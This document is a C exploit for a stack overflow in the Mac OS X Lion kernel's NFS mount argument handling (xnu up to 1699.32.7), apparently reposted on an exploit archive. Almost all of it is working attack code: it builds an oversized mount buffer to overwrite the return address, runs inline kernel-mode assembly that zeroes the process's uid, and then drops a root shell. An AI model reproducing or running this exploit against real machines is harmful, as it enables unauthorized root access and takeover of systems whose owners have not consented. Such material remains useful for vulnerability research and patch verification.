Mac OS X Lion Kernel <= xnu-1699.32.7 NFS Mount Local Root

/*
 * Apple Mac OS X Lion Kernel <=  xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
 * CVE None
 * by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
 *
 *
 * Notes:
 *  This exploit leverage a stack overflow vulnerability to escalate privileges.
 *  The vulnerable function nfs_convert_old_nfs_args does not verify the size
 *  of a user-provided argument before copying it to the stack. As a result by
 *  passing a large size, a local user can overwrite the stack with arbitrary
 *  content.
 *
 * Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
 * Tested on Max OS X Lion xnu-1699.32.7  (x86_64)
 *
 *   Greets to taviso, spender, joberheide
 */
  
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
  
/** change these to fit your environment if needed **/
#define SSIZE       (536)
  
/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
struct user_nfs_args {
    int     version;    /* args structure version number */
    char*   addr __attribute__((aligned(8)));       /* file server address */
    int     addrlen;    /* length of address */
    int     sotype;     /* Socket type */
    int     proto;      /* and Protocol */
    char *  fh __attribute__((aligned(8)));     /* File handle to be mounted */
    int     fhsize;     /* Size, in bytes, of fh */
    int     flags;      /* flags */
    int     wsize;      /* write size in bytes */
    int     rsize;      /* read size in bytes */
    int     readdirsize;    /* readdir size in bytes */
    int     timeo;      /* initial timeout in .1 secs */
    int     retrans;    /* times to retry send */
    int     maxgrouplist;   /* Max. size of group list */
    int     readahead;  /* # of blocks to readahead */
    int     leaseterm;  /* obsolete: Term (sec) of lease */
    int     deadthresh; /* obsolete: Retrans threshold */
    char*   hostname __attribute__((aligned(8)));   /* server's name */
    /* NFS_ARGSVERSION 3 ends here */
    int     acregmin;   /* reg file min attr cache timeout */
    int     acregmax;   /* reg file max attr cache timeout */
    int     acdirmin;   /* dir min attr cache timeout */
    int     acdirmax;   /* dir max attr cache timeout */
    /* NFS_ARGSVERSION 4 ends here */
    uint    auth;       /* security mechanism flavor */
    /* NFS_ARGSVERSION 5 ends here */
    uint    deadtimeout;    /* secs until unresponsive mount considered dead */
};
  
/** sets the uid for the current process  and safely exits from the kernel**/
static void r00t_me() {
    asm(
        // padding
        "nop; nop; nop; nop;"
  
        // task_t %rax = current_task()
        "movq   %%gs:0x00000008, %%rax;"
        "movq   0x00000348(%%rax), %%rax;"
         
        // proc %rax = get_bsdtask_info()
        "movq   0x000002d8(%%rax),%%rax;"
         
        // ucred location at proc
        "movq   0x000000d0(%%rax),%%rax;"
         
        // uid = 0
        "xorl   %%edi, %%edi;"     
        "movl   %%edi, 0x0000001c(%%rax);"
        "movl   %%edi, 0x00000020(%%rax);"
         
        // fix the stack pointer and return (EACCES)
        "movq   $13, %%rax;"
        "addq   $0x00000308,%%rsp;"
        "popq   %%rbx;"
        "popq   %%r12;"
        "popq   %%r13;"
        "popq   %%r14;"
        "popq   %%r15;"
        "popq   %%rbp;"
        "ret;"
        :::"%rax"
    );
}
  
int main(int argc, char ** argv) {
    struct user_nfs_args xdrbuf;
    char * path;
    char obuf[SSIZE];
  
  
    /** clear the arguments **/
    memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
    memset(obuf, 0x00, SSIZE);
  
    /** set up variable to get path to vulnerable code **/
    xdrbuf.version = 3;
    xdrbuf.hostname = "localhost";
    xdrbuf.addrlen = SSIZE;
    xdrbuf.addr = obuf;
     
    /** set ret address **/
    *(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
    printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);
         
    /** create a unique tmp name **/
    if ((path = tmpnam(NULL)) == NULL) {
        // path can be any directory which we have read/write/exec access
        // but I'd much rather create one instead of searching for one
        perror("[-] tmpnam");
        exit(EXIT_FAILURE);
    }
     
    /** make the path in tmp so that we can use it **/
    if (mkdir(path, 0660) < 0) {
        perror("[-] mkdir");
        exit(EXIT_FAILURE);
    }
     
    /** inform the user that the path was created **/
    printf("[*] created sploit path%s\n", path);
     
    /** call the vulnerable function **/
    if (mount("nfs", path, 0, &xdrbuf) < 0) {
        if (errno == EACCES) {
            puts("[+] escalating privileges...");
        } else {
            perror("[-] mount");
        }
         
    }
     
    /** clean up tmp dir **/
    if (rmdir(path) < 0) {
        perror("[-] rmdir");
    }
     
    /** check if privs are equal to root **/
    if (getuid() != 0) {
        puts("[-] priviledge escalation failed");
        exit(EXIT_FAILURE);
    }
     
    /** get root shell **/
    printf("[+] We are now uid=%i ... your welcome!\n", getuid());
    printf("[+] Dropping a shell.\n");
    execl("/bin/sh", "/bin/sh", NULL);
    return 0;
}

Copyright ©2024 Exploitalert.